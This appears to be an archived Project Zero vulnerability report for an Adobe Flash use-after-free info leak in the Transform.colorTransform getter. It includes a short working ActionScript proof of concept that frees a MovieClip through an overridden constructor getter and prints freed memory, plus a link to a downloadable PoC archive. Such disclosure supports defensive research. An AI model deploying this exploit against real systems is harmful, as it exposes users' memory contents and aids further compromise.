31 lines
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1 KiB
Text
31 lines
No EOL
1 KiB
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=845
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There is an info leak in the Transform.colorTranform getter. If the constructor for ColorTransform is overwritten with a getter using addProperty, this getter will execute when fetching the constructor, which can then free the MovieClip containing the Tranform.
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A minimal PoC is as follows:
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this.createEmptyMovieClip( "mc", 1);
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var c = new ColorTransform( 77, 88, 99, 0.5, 1, 2, 3, 4);
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var t:Transform = new Transform( mc );
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t.colorTransform = c;
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this.createTextField( "tf", 2, 0, 0, 2000, 200);
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var ct = ColorTransform;
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var g = flash.geom;
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g.addProperty("ColorTransform", func, func);
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var q = t.colorTransform;
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tf.text = q.greenMultiplier + "\n" + q.blueMultiplier + "\n" + q.color;
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function func(){
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mc.removeMovieClip();
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return ct;
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}
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A sample swf and fla are attached. The PoC prints the value of unallocated memory to the screen.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40355.zip |